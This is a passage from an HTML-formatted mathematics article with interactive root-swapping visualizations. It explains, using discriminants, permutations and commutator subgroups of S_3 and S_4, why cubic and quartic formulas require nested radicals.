  \(r_1, \dotsc, r_n\) are the roots of a polynomial (counting multiplicity)
  with leading coefficient \(a_n\), then the
  &lt;a href="https://en.wikipedia.org/wiki/Discriminant"&gt;discriminant&lt;/a&gt; is
  \[
  Δ = a_n^{2n - 2} ∏_{i \lt j} (r_i - r_j)^2\text{.}
  \]
  In other words, the discriminant is, up to sign and a power of the
  leading coefficient, the product of the differences of all pairs of
  different roots. In particular, if the polynomial has repeated roots,
  the discriminant is zero.&lt;/p&gt;

&lt;p&gt;Using the formula above, you can express the discriminant in terms
  of the coefficients of the polynomial, as you can verify for
  yourself with the quadratic equation. Indeed this is true in
  general; for cubic polynomials, the discriminant can be expressed in
  terms of the coefficients as
  \[
  Δ = b^2 c^2 - 4 a c^3 - 4 b^3 d - 27 a^2 d^2 + 18 a b c d\text{.}
  \]
  But why do we care? Because, as you can see in the visualization below, if
  you swap any pair of roots, this causes the discriminant to make a single
  loop around the origin, so it serves as a useful test functions for
  taking roots.&lt;/p&gt;

&lt;p&gt;So now that we have three roots, we can swap them in multiple
  ways. If \(R\) is a list that starts off as \(\langle r_1, r_2, r_3
  \rangle\), let \(↺_{i, j}\) denote counter-clockwise
  paths that takes the root at the \(i\)th index of \(R\) to the one
  at the \(j\)th index of \(R\) and vice versa, and similarly for
  \(↻_{i, j}\). (Note that this is not the same as the
  paths that swap \(r_i\) and \(r_j\)!  Play around with the buttons
  in the visualization below to understand the difference.)&lt;/p&gt;

&lt;div class="interactive-example"&gt;
  &lt;h3&gt;Interactive Example 3: The cubic discriminant&lt;/h3&gt;

  &lt;div class="graph-container"&gt;
    Roots
    &lt;div class="graph jxgbox" id="rootBoardCubic1"&gt;&lt;/div&gt;

    &lt;span id="rootListCubic1"&gt;
      \(R = \langle r_1, r_2, r_3 \rangle\)
    &lt;/span&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button cubic1DisableWhileRunningOp" type="button"&gt;
      \(↺_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button cubic1DisableWhileRunningOp" type="button"&gt;
      \(↺_{2, 3}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button cubic1DisableWhileRunningOp" type="button"&gt;
      \(↻_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button cubic1DisableWhileRunningOp" type="button"&gt;
      \(↻_{2, 3}\)
    &lt;/button&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Coefficients
    &lt;div class="graph jxgbox" id="coeffBoardCubic1"&gt;&lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Candidate solution
    &lt;div class="graph jxgbox" id="formulaBoardCubic1"&gt;&lt;/div&gt;

    &lt;label&gt;
      &lt;input class="cubic1DisableWhileRunningOp" name="cubic1Formula" type="radio" /&gt;
      \(x_1 = Δ\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input checked="checked" class="cubic1DisableWhileRunningOp" name="cubic1Formula" type="radio" /&gt;
      \(x_{1, 2, 3, 4, 5} = \sqrt[5]{Δ}\)
    &lt;/label&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Now, with the formula \(Δ\), the same reasoning as in the
  previous section shows that it cannot possibly be the cubic formula,
  nor can any other rational expression. However, unlike the quadratic
  case, we can also rule out \(\sqrt[5]{Δ}\), or any other
  algebraic formula with no nested radicals (i.e., that doesn&amp;rsquo;t
  have a radical within a radical like \(\sqrt{a - \sqrt{bc - 5}}\)).
  If you apply the operations \(↺_{2, 3}\),
  \(↺_{1, 2}\), \(↻_{2, 3}\), and
  \(↻_{1, 2}\) in sequence, \(r_1\), \(r_2\), and
  \(r_3\) rotate among themselves, but all the \(x_i\) go back to
  their original positions. Therefore, by similar reasoning as the
  previous section, \(\sqrt[5]{Δ}\) also cannot possibly be the
  cubic formula!&lt;/p&gt;

&lt;p&gt;To make this statement precise, we need to review some group
  theory.  Recall that a
  &lt;a href="https://en.wikipedia.org/wiki/Group_(mathematics)"&gt;group&lt;/a&gt;
  is a set with an associative binary operation, an identity element,
  and inverse elements. Most basic examples of groups are related to
  numbers, like the integers under addition, or the non-zero rationals
  under multiplication. However, more interesting examples of groups
  are related to &lt;em&gt;functions&lt;/em&gt;, none the least because the group
  operation for functions is &lt;em&gt;composition&lt;/em&gt;, which is in general
  not commutative; in other words, if \(f\) and \(g\) are functions,
  \(f \circ g \ne g \circ f\), and it is this non-commutativity that
  will come in handy for our purposes.&lt;/p&gt;

&lt;p&gt;So let&amp;rsquo;s say we have a list of \(n\) objects, and we&amp;rsquo;re
  interested in the functions that rearrange this list&amp;rsquo;s
  elements. These are &lt;a href="https://en.wikipedia.org/wiki/Permutation"&gt;permutations&lt;/a&gt;,
  and they naturally form a group under composition, as you can check
  for yourself, called \(S_n\), the &lt;a href="https://en.wikipedia.org/wiki/Symmetric_group"&gt;symmetric group&lt;/a&gt; on
  \(n\) objects.&lt;/p&gt;

&lt;p&gt;There&amp;rsquo;s a convenient way to write permutations, called &lt;a href="https://en.wikipedia.org/wiki/Permutation#Cycle_notation"&gt;cycle notation&lt;/a&gt;. If
you write \((i_1 \; i_2 \; \dotsc \; i_k)\), this denotes the
permutation that maps the \(i_1\)th position of the list to the
\(i_2\)th position the \(i_2\)th position to the \(i_3\)th, and so on,
  called a &lt;em&gt;cycle&lt;/em&gt;. Then you can write &lt;em&gt;any&lt;/em&gt; permutation
  as a composition of disjoint cycles, so this provides a convenient
  way to write down and compute with permutations.&lt;/p&gt;

  &lt;p&gt;In the visualization above, we have four operations
    \(↺_{1, 2}\), \(↺_{2, 3}\),
    \(↻_{1, 2}\), and \(↻_{2, 3}\),
    which &lt;em&gt;act on \(R\)&lt;/em&gt;, meaning that they define permutations
    on \(R\). In particular, \(↺_{1, 2}\) and
    \(↻_{1, 2}\) both swap the first and second
    elements of \(R\), so we say that \(↺_{1, 2}\) and
    \(↻_{1, 2}\) act on \(R\) as \((1 \; 2)\), and
    similarly, \(↺_{2, 3}\) and \(↻_{2,
    3}\) act on \(R\) as \((2 \; 3)\).&lt;/p&gt;

  &lt;p&gt;Now concatenating two operations&amp;mdash;doing one after the
  other&amp;mdash;corresponds to composing their mapped-to permutations on
  \(R\). Denoting \(o_2 * o_1\) as doing \(o_1\), then doing \(o_2\),
  the sequence of operations above is \(↻_{1, 2} *
  ↻_{2, 3} * ↺_{1, 2} *
  ↺_{2, 3}\) (note the order!), which acts on \(R\)
  like \((1 \; 2) (2 \; 3) (1 \; 2) (2 \; 3)\), which is equal to \((1
  \; 3 \; 2)\).&lt;sup&gt;&lt;a href="#fn3" id="r3"&gt;[3]&lt;/a&gt;&lt;/sup&gt; (The
  \(\circ\) is usually dropped when composing permutations.)&lt;/p&gt;

  &lt;p&gt;Now for the formula \(Δ\), all the operations make \(x_1\)
  loop around the origin either clockwise or counter-clockwise; in
  other words, they all induce a rotation of \(2π\) or \(-2π\) on
  \(x_1\), and the final distance of \(x_1\) from the origin is the
  same as the initial distance. Therefore, if we apply an equal number
  of clockwise and counter-clockwise rotations, the total angle of
  rotation will be \(0\) and the final distance will be the same as
  the initial distance, i.e. the final position of \(x_1\) is the same
  as it&amp;rsquo;s initial distance. But the same reasoning holds for the
  formula \(\sqrt[5]{Δ}\); all the operations induce a rotation
  of \(2π/5\) or \(-2π/5\) and leave the distance from the origin
  unchanged, so an equal number of clockwise and counter-clockwise
  rotations will still induce a total angle of \(0\) and leave the
  distance from the origin unchanged. Therefore, the operation
  \(↻_{1, 2} * ↻_{2, 3} *
  ↺_{1, 2} * ↺_{2, 3}\) acts like \((1
  \; 3\; 2)\) on \(R\), but leaves all \(x_i\) unchanged.&lt;/p&gt;

  &lt;p&gt;But how did we come up with \(↻_{1, 2} *
    ↻_{2, 3} * ↺_{1, 2} *
    ↺_{2, 3}\) in the first place? This involves a bit
    more group theory. \(S_3\) is &lt;em&gt;not&lt;/em&gt; a &lt;a href="https://en.wikipedia.org/wiki/Abelian_group"&gt;commutative
  group&lt;/a&gt;; in particular, \((1 \; 2) (2 \; 3) \ne (2 \; 3) (1 \;
  2)\). For two group elements \(g\) and \(h\), we can define
  their
  &lt;a href="https://en.wikipedia.org/wiki/Commutator"&gt;commutator&lt;/a&gt;&lt;sup&gt;&lt;a href="#fn4" id="r4"&gt;[4]&lt;/a&gt;&lt;/sup&gt;
  \([ g, h ]\), which is the group element that corrects for
  \(g\) and \(h\) not commutating. That is, we want the equation
  \[
  g h = h g [g, h]
  \]
  to hold, which means that
  \[
  [g, h] = g^{-1} h^{-1} g h\text{.}
  \]
  So the commutator provides a convenient way to generate a non-trivial
  permutation from two other non-commuting permutations. Furthermore, it
  involves two appearances of both elements, so we can pick a sequence of
  operations that induce the commutator and also have an equal number of
  clockwise and counter-clockwise operations. Then we&amp;rsquo;re guaranteed
  that this sequence of operations permutes \(R\) and leaves all \(x_i\)
  unchanged, even if each individual operation moves some \(x_i\). But of
  course, this is just \(↻_{1, 2} * ↻_{2, 3} *
  ↺_{1, 2} * ↺_{2, 3}\)!&lt;/p&gt;

  &lt;p&gt;Let&amp;rsquo;s define some terminology to make proofs and discussion
  easier. If \(o\) is an operation that acts on \(R\) non-trivially
  but has the final position of the expression \(x = f(a, b, c,
  \dotsc)\) the same as its initial position, we say that \(o\) &lt;em&gt;rules out&lt;/em&gt; the
  expression \(x = f(a, b, c, \dotsc)\). For example, Theorem&amp;nbsp;1
  says that swapping both roots of a quadratic rules out all rational
  expressions.&lt;/p&gt;

  &lt;div class="p"&gt;Now we&amp;rsquo;re ready to state and prove the theorem:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 2&lt;/span&gt;.) An
  algebraic expression with no nested radicals in the coefficients of
  the general cubic equation
  \[
  ax^3 + bx^2 + cx + d = 0
  \]
  cannot be a solution to this equation.&lt;/div&gt;

&lt;div class="proof"&gt;
  &lt;p&gt;&lt;span class="proof-name"&gt;Sketch of proof.&lt;/span&gt; First assume to
    the contrary that the expression \(x = \sqrt[k]{r(a, b, c, d)}\) is
    a solution, where \(r(a, b, c, d)\) is a rational
    expression. Assume we start with \(r_1 = z_1\), \(r_2 = z_2\), and
    \(r_3 = z_3\), where all \(z_i\) are distinct, and without loss of
    generality assume that we start with \(x = z_1\).&lt;/p&gt;

  &lt;p&gt;Any of the operations \(↺_{1, 2}\),
    \(↺_{2, 3}\), \(↻_{1, 2}\), and
    \(↻_{2, 3}\) applied to \(x = r(a, b, c, d)\)
    cause \(x\)&amp;rsquo;s final position to be the same as its initial
    position, by Theorem&amp;nbsp;1. Pick a point \(z_0\) that is never
    equal to any point \(x\) traverses under any operation. Then, by
    the same reasoning as above, the total angle induced by
    \(↻_{1, 2} * ↻_{2, 3} *
    ↺_{1, 2} * ↺_{2, 3}\) on \(x =
    \sqrt[k]{r(a, b, c, d)}\) around \(z_0\) is \(0\), and the
    distance from \(z_0\) remains unchanged.  Thus \(x\) remains
    fixed, and this operation rules out \(x = \sqrt[k]{r(a, b, c,
    d)}\).&lt;/p&gt;

&lt;p&gt;For the general case, it suffices to show that if \(o\) rules out
  the expressions \(f\) and \(g\), then \(o\) also rules out \(f\)
  raised to an integer power, \(f + g\text{,}\) \(f - g\text{,}\) \(f
  \cdot g\text{,}\) and \(f / g\) where \(g \ne 0\text{.}\) But this
  is straightforward, and such formulas are just the algebraic
  expressions with no nested radicals, so the statement holds in
  general. &amp;#x220e;&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;

&lt;p&gt;Theorem&amp;nbsp;2 can be summarized thus: any \(↺_{i,
  j}\) or \(↻_{i, j}\) rules out any rational
  expression as the cubic formula, and if given an algebraic
  expression with no nested radicals, either some
  \(↺_{i, j}\) or \(↻_{i, j}\) rules it
  out, or \(↻_{1, 2} * ↻_{2, 3} *
  ↺_{1, 2} * ↺_{2, 3}\) rules it out.&lt;/p&gt;

&lt;p&gt;Now we can consider algebraic expressions with one level of
nesting. Can such formulas be ruled out as being the cubic formula?
We can&amp;rsquo;t do so via Theorem&amp;nbsp;2, at least; we would need a
non-trivial element of \(S_3\) that is the commutator of
commutators. But you can calculate that all non-trivial commutators of
\(S_3\) are either \((3 \; 2 \; 1)\) or \((1 \; 2\; 3)\), and these
two elements commute, so \(S_3\) cannot have a non-trivial commutator
of commutators.&lt;/p&gt;

&lt;p&gt;In fact, as we would expect, the actual &lt;a href="https://en.wikipedia.org/wiki/Cubic_function#General_formula"&gt;cubic formula&lt;/a&gt;
has such an algebraic expression, which is \(C\) in the visualization
below, so that serves as a convenient example of an algebraic
expression with a single nested radical that can&amp;rsquo;t be ruled out
by Theorem&amp;nbsp;2.&lt;/p&gt;

&lt;div class="interactive-example"&gt;
  &lt;h3&gt;Interactive Example 4: The cubic equation&lt;/h3&gt;

  &lt;div class="graph-container"&gt;
    Roots
    &lt;div class="graph jxgbox" id="rootBoardCubic2"&gt;&lt;/div&gt;

    &lt;span id="rootListCubic2"&gt;
      \(R = \langle r_1, r_2, r_3 \rangle\)
    &lt;/span&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button cubic2DisableWhileRunningOp" type="button"&gt;
      \(↺_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button cubic2DisableWhileRunningOp" type="button"&gt;
      \(↺_{2, 3}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button cubic2DisableWhileRunningOp" type="button"&gt;
      \(↻_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button cubic2DisableWhileRunningOp" type="button"&gt;
      \(↻_{2, 3}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button cubic2DisableWhileRunningOp" type="button"&gt;
      \(↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button cubic2DisableWhileRunningOp" type="button"&gt;
      \(↺_{1, 2} * ↺_{2, 3} * ↻_{1, 2} * ↻_{2, 3}\)
    &lt;/button&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Coefficients
    &lt;div class="graph jxgbox" id="coeffBoardCubic2"&gt;&lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Candidate solution
    &lt;div class="graph jxgbox" id="formulaBoardCubic2"&gt;&lt;/div&gt;

    &lt;span id="resultListCubic2"&gt;
      \(X = \langle x_1, x_2, x_3, x_4, x_5, x_6 \rangle\)
    &lt;/span&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="cubic2DisableWhileRunningOp" name="cubic2Formula" type="radio" /&gt;
      \(x_1 = -27a^2 Δ = {Δ_1}^2 - 4 {Δ_0}^3\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input checked="checked" class="cubic2DisableWhileRunningOp" name="cubic2Formula" type="radio" /&gt;
      \(x_{1, 2} = C^3 = \frac{Δ_1 + \sqrt{-27a^2 Δ}}{2}\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input checked="checked" class="cubic2DisableWhileRunningOp" name="cubic2Formula" type="radio" /&gt;
      \(x_{1,2,3,4,5,6} = C\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="cubic2DisableWhileRunningOp" name="cubic2Formula" type="radio" /&gt;
      \(x_{1, 2, 3} = -\frac{1}{3a} \left( b + C + \frac{Δ_0}{C} \right)\)
      &lt;br /&gt;
      (the cubic formula)
    &lt;/label&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Note that there is a new list \(X\), which lists the \(x_i\) in the
order which they occupy their initial positions, like how \(R\) does
the same for the \(r_i\). In general, we can&amp;rsquo;t do this, since a
general multi-valued function won&amp;rsquo;t necessarily permute that
\(x_i\) among themselves, but in the interactive visualizations
we&amp;rsquo;ll only consider expressions that do.&lt;/p&gt;

&lt;p&gt;We can then talk how an operation acts on \(X\). For example, if we
  pick \(\sqrt[5]{Δ}\) in Interactive&amp;nbsp;Example&amp;nbsp;3, we can
  say that \(↺_{i, j}\) acts like \((5 \; 1 \; 2 \; 3
  \; 4)\) on \(X\) and \(↻_{i, j}\) acts like \((1 \; 2 \; 3 \; 4 \;
  5)\) on \(X\). Therefore, \(↻_{1, 2} *
  ↻_{2, 3} * ↺_{1, 2} *
  ↺_{2, 3}\) acts non-trivially on \(R\) but acts
  trivially on \(X\), which is another more algebraic way of saying
  that if this operation rules out \(\sqrt[5]{Δ}\), since the
  action on \(X\) depends on the candidate formula. On the other hand,
  if you choose \(C\) in the visualization above, you can convince
  yourself that no operation acts non-trivially on \(R\) without also
  acting non-trivially on \(X\), and so \(C\) can&amp;rsquo;t be ruled out
  as the cubic formula.&lt;/p&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;4. Quartic Equations&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Now we can move on to quartic equations. As usual, given four
complex numbers \(r_1\), \(r_2\), \(r_3\), and \(r_4\), you can map
this to the coefficients \(a\), \(b\), \(c\), \(d\), and \(e\) of the
standard form of a quartic polynomial, as shown in the visualization
below, such that the \(r_i\) are the solutions to the quartic
equation

\[
  a x^4 + b x^3 + c x^2 + d x + e = 0\text{.}
\]

&lt;p&gt;Now that we have four roots, we have even more ways to permute them
using the \(↺_{i, j}\) and \(↻_{i,
j}\). Before we move on, we need more terminology and group theory to
handle this more complicated case.&lt;/p&gt;

&lt;p&gt;First, we want a convenient way to denote the combination of operations
that act like a commutator, so let&amp;rsquo;s define
\(↺_{i, j}^\prime\) to mean \(↻_{i,
j}\) and vice versa, \((o_1 \circ o_2 \circ \dotsb \circ o_n)^\prime\)
to mean \(o_n^\prime \circ o_{n-1}^\prime \circ \dotsb \circ
o_1^\prime\), and \([\![ o_1, o_2 ]\!]\) to mean \(o_1^\prime \circ
o_2^\prime \circ o_1 \circ o_2\), so that if \(o_i\) acts on \(R\)
like \(g_i\), then \(o_i^\prime\) acts on \(R\) like \(g_i^{-1}\) and
\([\![o_i, o_j]\!]\) acts on \(R\) like \([g_i, g_j]\). For example,
in the previous section, we were using \([\![ ↺_{1, 2},
↺_{2, 3} ]\!]\) to rule out algebraic expressions with
no nested radicals.&lt;/p&gt;

&lt;p&gt;Then not only do we want to talk about commutators of particular
  permutations, we want to talk about the set of commutators
  of a particular group. In fact, for a group \(G\), this set of
  commutators forms a subgroup \(K(G)\) called the &lt;a href="https://en.wikipedia.org/wiki/Commutator_subgroup"&gt;commutator subgroup&lt;/a&gt;. For
  the quadratic case, we just have \(S_2\), which has only a single
  non-trivial element, so its commutator subgroup \(K(S_2)\) is the
  trivial group. For the cubic case, we started with \(S_3\), and we
  computed the commutator subgroup \(K(S_3)\), which is just \(\{ e,
  (1 \; 2 \; 3), (3 \; 2 \; 1) \}\). We can also compute the
  commutator of &lt;em&gt;this&lt;/em&gt; group, which is just the trivial group
  again, since \(K(S_3)\) is commutative. So we can see that
  \(K(K(S_3))\) being the trivial group means that we can&amp;rsquo;t rule
  out algebraic expressions with nested radicals as solutions to the
  general cubic equation.&lt;/p&gt;

&lt;p&gt;Given all the elements of a group \(G\), it&amp;rsquo;s not
particularly complicated to compute the commutator subgroup&amp;mdash;just
take all possible pairs of elements \(g, h \in G\), compute \([g,
h]\), and remove duplicates. However, we can make things easier for
ourselves by finding generators for \(K(G)\) as commutators of
generators of \(G\), since then we can easily map those back to \([\![
o_1, o_2 ]\!]\) applied on the appropriate operations. Fortunately,
when \(G = S_n\), we can use a few facts from group theory to easily
compute \(K(S_n)\). First, \(K(S_n)\) is called the &lt;a href="https://en.wikipedia.org/wiki/Alternating_group"&gt;alternating group&lt;/a&gt; \(S_n\),
  and is generated by the \(3\)-cycles of the form \((i \enspace i+1
  \enspace i+2)\), similar to how \(S_n\) is generated by the
  \(2\)-cycles of the form \((i \enspace i + 1)\). But a \(3\)-cycle
  \((i \enspace i+1 \enspace i+2)\) can be expressed as the commutator
  of two \(2\)-cycles \([(i+2 \enspace i+1), (i \enspace
  i+1)]\).&lt;/p&gt;

&lt;p&gt;Therefore, for \(S_4\), the generators for \(K(S_4)\) are just \((1
  \; 2 \; 3) = [(2 \; 3), (1 \; 2)]\) and \((2 \; 3 \; 4) = [(3 \; 4),
  (2 \; 3)]\), with respective operations \([\![ ↺_{2,
  3}, ↺_{1, 2} ]\!]\) and \([\![ ↺_{3,
  4}, ↺_{2, 3} ]\!]\). However, these two generators
  are not quite enough to generate \(K^{(2)}(S_4)\) via
  commutators. Fortunately, it suffices to just add
  \(↺_{4, 1}\) to the list of operations, which lets us
  add \((1 \; 4)\) to the list of generators for \(S_4\), and then add
  \((3 \; 4 \; 1)\) to the list of generators for \(K(S_4)\). Then
  \((1 \; 4) (2 \; 3) = [(2 \; 3 \; 4), (1 \; 2 \; 3)]\) and \((2 \;
  1) (3 \; 4) = [(3 \; 4 \; 1), (2 \; 3 \; 4)]\) suffice to generate
  \(K^{(2)}(S_4)\).&lt;sup&gt;&lt;a href="#fn5" id="r5"&gt;[5]&lt;/a&gt;&lt;/sup&gt; Finally,
  we can easily compute \(K^{(3)}(S_4)\) to be the trivial group.&lt;/p&gt;

&lt;p&gt;What does that tell us about what expressions we can rule out as
solutions to the general quartic equation? Similarly to the cubic
case, we expect to be able to rule out rational expressions and
algebraic expressions with no nested radicals, and since
\(K^{(2)}(S_4)\) is not the trivial group, we also expect to be able
to rule out algebraic expressions with singly-nested radicals, like
\(\sqrt{a - \sqrt{bc - 4}}\). But since \(K^{(3)}(S_4)\) is the
trivial group, we don&amp;rsquo;t expect to be able to rule out algebraic
expressions with doubly-nested radicals, like \(\sqrt{a - \sqrt{bc -
\sqrt{d + 3}}}\).&lt;/p&gt;

&lt;p&gt;As an antidote to all the abstractness above, here is a
  visualization for quartics, where you can examine how the various
  operations interact with the &lt;a href="https://en.wikipedia.org/wiki/Quartic_function#General_formula_for_roots"&gt;quartic formula&lt;/a&gt;
  and its subexpressions.&lt;/p&gt;

&lt;div class="interactive-example"&gt;
  &lt;h3&gt;Interactive Example 5: The quartic equation&lt;/h3&gt;

  &lt;div class="graph-container"&gt;
    Roots
    &lt;div class="graph jxgbox" id="rootBoardQuartic"&gt;&lt;/div&gt;

    &lt;span id="rootListQuartic"&gt;
      \(R = \langle r_1, r_2, r_3, r_4 \rangle\)
    &lt;/span&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      Reset \(R\) and \(X\) order
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_1 = ↺_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_2 = ↺_{2, 3}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_3 = ↺_{3, 4}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_4 = ↺_{4, 1}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_1^\prime = ↻_{1, 2}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_2^\prime = ↻_{2, 3}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_3^\prime = ↻_{3, 4}\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(A_4^\prime = ↻_{4, 1}\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(B_1 = [\![ A_2, A_1 ]\!] \mapsto (1 \; 2 \; 3)\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(B_2 = [\![ A_3, A_2 ]\!] \mapsto (2 \; 3 \; 4)\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(B_3 = [\![ A_4, A_3 ]\!] \mapsto (3 \; 4 \; 1)\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(B_1^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(B_2^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(B_3^\prime\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(C_1 = [\![ B_2, B_1 ]\!] \mapsto (1 \; 4) (2 \; 3)\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(C_2 = [\![ B_3, B_2 ]\!] \mapsto (2 \; 1) (3 \; 4)\)
    &lt;/button&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(C_1^\prime\)
    &lt;/button&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      \(C_2^\prime\)
    &lt;/button&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Coefficients
    &lt;div class="graph jxgbox" id="coeffBoardQuartic"&gt;&lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Candidate solution
    &lt;div class="graph jxgbox" id="formulaBoardQuartic"&gt;&lt;/div&gt;

    &lt;span id="resultListQuartic"&gt;
      \(X = \langle x_1, x_2, x_3, x_4, x_5, x_6 \rangle\)
    &lt;/span&gt;

    &lt;span id="resultNoteQuartic"&gt;&lt;/span&gt;

    &lt;br /&gt;

    &lt;button class="interactive-example-button quarticDisableWhileRunningOp" type="button"&gt;
      Find first operation that rules out selected formula
    &lt;/button&gt;

    &lt;span id="findFirstOpStatusQuartic"&gt;&lt;/span&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="quarticDisableWhileRunningOp" name="formulaQuartic" type="radio" /&gt;
      \(x_1 = -27 Δ\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="quarticDisableWhileRunningOp" name="formulaQuartic" type="radio" /&gt;
      \(x_{1, 2} = Q^3 = \frac{Δ_1 + \sqrt{-27 Δ}}{2}\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input checked="checked" class="quarticDisableWhileRunningOp" name="formulaQuartic" type="radio" /&gt;
      \(x_{1, 2, 3, 4, 5, 6} = Q\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="quarticDisableWhileRunningOp" name="formulaQuartic" type="radio" /&gt;
      \(x_{1, 2, 3, 4, 5, 6} = S =\)
      &lt;br /&gt;
      \(\qquad \frac{1}{2} \sqrt{-\frac{2}{3} p + \frac{1}{3a} \left( Q + \frac{Δ_0}{Q} \right)}\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="quarticDisableWhileRunningOp" name="formulaQuartic" type="radio" /&gt;
      \(x_{1, 2, 3, 4} = \)
      &lt;br /&gt;
      \(\qquad -\frac{b}{4a} \mp S + \frac{1}{2} \sqrt{-4S^2 - 2p \pm \frac{q}{S}}\)
      &lt;br /&gt;
      (the quartic formula)
    &lt;/label&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sub&gt;&lt;/sub&gt;

&lt;p&gt;There are a few additions to the interactive display above. It now
  prints a message when it detects that the selected expression is
  ruled out as the quartic formula, which just looks at whether \(R\)
  is not in order and \(X\) is, and vice versa. There&amp;rsquo;s also a
  button to reset the ordering of \(R\) and \(X\).&lt;/p&gt;

&lt;p&gt;The second addition is that the operations have been organized to
make clear what commutator subgroup they&amp;rsquo;re in. The \(A_i\) map
to generators of \(S_4\). Then taking the commutators of adjacent
\(A_i\) give \(B_i\), which map to the generators of \(K(S_4)\), and
similarly for \(C_i\).&lt;/p&gt;

&lt;div class="p"&gt;The third addition is a button that finds the first operation that
rules out the selected formula, if any. It simply tries all the
\(A_i\)s, then all the \(B_i\)s, then all the \(C_i\)s, checking \(R\)
and \(X\) in between. The general algorithm, which assumes a fixed set
of roots \(r_1, \dotsc, r_n\text{,}\) takes an expression \(f(a_n, a_{n-1}, \dotsc)\)
where \(a_n x^n + a_{n-1} x^{n-1} + \dotsb + a_0 = 0\) is the general
\(n\)th-degree polynomial equation, takes a depth limit \(k\), and
looks like this (defining \(K^{(0)}(G)\) to be just \(G\)):

&lt;ol&gt;
  &lt;li&gt;For \(i\) from 0 to \(k\):
  &lt;ol&gt;
    &lt;li&gt;If \(K^{(i)}(S_n)\) is trivial, then terminate indicating that
      \(f(a_n, a_{n-1}, \dotsc)\) was unable to be ruled out because
      \(K^{(i)}(S_n)\) is trivial.&lt;/li&gt;
    &lt;li&gt;Otherwise, find operations \(o_1\) to \(o_m\) that act as the
